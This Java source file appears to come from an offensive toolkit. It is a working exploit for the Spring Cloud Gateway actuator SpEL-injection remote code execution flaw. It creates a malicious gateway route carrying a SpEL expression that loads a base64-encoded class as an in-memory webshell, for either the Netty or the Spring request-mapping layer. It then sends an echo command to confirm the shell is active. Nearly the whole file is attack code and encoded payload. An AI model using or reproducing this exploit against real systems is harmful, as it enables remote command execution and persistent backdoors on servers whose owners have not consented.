package com.drops.exp;

import com.drops.utils.HTTPUtils;
import com.drops.utils.StringRandom;

/**
 * @ClassName: SpringCloudGatewayRCEEXP
 * @Description: TODO
 * @Author: Summer
 * @Date: 2022/4/17 19:56
 * @Version: v1.0.0
 * @Description: 参考 https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
 **/
public class SpringCloudGatewayRCEEXP {
    final static String mem = "yv66vgAAADQBFAoAPgB9CAB+BwB/CABTBwCACgAFAIEKAIIAgwcAhAoAggCFCgCGAIcKAIYAiAoACACJCgAFAIoIAIsKAIwAjQgASwoABQCOCgCPAIMKAI8AkAoABQCRCABOCACSBwCTCgAXAH0KAI8AlAgAlQcAlggAlwsAmACZCACaCACbCwCcAJ0HAJ4LACEAnwgAoAoAoQCiCgChAKMHAKQKAKUApgoApQCnCgCoAKkKACYAqggAqwoAJgCsCgAmAK0JAK4ArwoAFwCwCgAbALELALIAswcAtAkAtQC2CQC3ALgKALkAugoAMgC7CwC8AJ8JAL0AvggAvwoAoQDACwCyAMEJAMIAwwsAxADFBwDGBwDHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9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AKgAAAAYAAQAAABQAKwAAAAwAAQAAAAUALAAtAAAACQAuAC8AAgApAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMAKgAAADYADQAAABYAAwAYACAAGQAlABoANgAbAEQAHABWAB0AaQAeAIYAHwCJACIAjAAgAI0AIQCQACMAKwAAAFIACAAgAGkAMAAxAAIANgBTADIAMQADAEQARQAzADQABABWADMANQA2AAUAaQAgADcAOAAGAI0AAwA5ADoAAgAAAJIAOwA8AAAAAwCPAD0APgABAD8AAAATAAL/AIwAAgcAQAcAQQABBwBCAwBDAAAABQEAOwAAAAEAMgBEAAMAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAJwAaACgAKwAAACAAAwAAACYALAAtAAAAAAAmAEUAPgABABoADABGAD4AAgBHAAAABAABAEgAQwAAAAUBAEUAAAABAEkAAAACAEo=";

    final static String NettyMemshell = String.format("#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}", mem);

    final static String SpringRequestMappingMemshell = String.format("#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",mem1);


    public boolean execute(String target, String type){
        String endpoint = "s" + StringRandom.getRandomString(5);
        String body = String.format("{\n" +
                "      \"id\": \"%s\",\n" +
                "      \"filters\": [{\n" +
                "        \"name\": \"AddResponseHeader\",\n" +
                "        \"args\": {\"name\": \"Result\",\"value\": \"%s\"}\n" +
                "        }],\n" +
                "      \"uri\": \"%s\",\n" +
                "      \"order\": 0\n" +
                "}", endpoint, type, target);

        HTTPUtils.postRequestjson(target , "actuator/gateway/routes/" + endpoint, body).toString();
        HTTPUtils.postRequestV1(target , "actuator/gateway/refresh").toString();
        HTTPUtils.getRequest(target , "actuator/gateway/routes/" + endpoint).toString();
        HTTPUtils.deleteRequest(target , "actuator/gateway/routes/" + endpoint).toString();
        HTTPUtils.postRequestV1(target , "actuator/gateway/refresh").toString();
        String header = "X-CMD: echo "+ endpoint;

        String re6 = HTTPUtils.postRequestV1(target, "?cmd=echo "+ endpoint, header).toString();
//        System.out.println("re6 = " + re6);
        if (re6.toLowerCase().contains(endpoint)){
//            System.out.println(String.format("[+] %s inject success", type));
            return true;
        }
        return false;
    }

    public boolean exp(String target){

         if (execute(target,NettyMemshell)){
             System.out.println("[+] NettyMemshell inject success");
            return true;
         }else if (execute(target,SpringRequestMappingMemshell)){
             System.out.println("[+] SpringRequestMappingMemshell inject success");
            return true;
         }
         return false;
    }

}
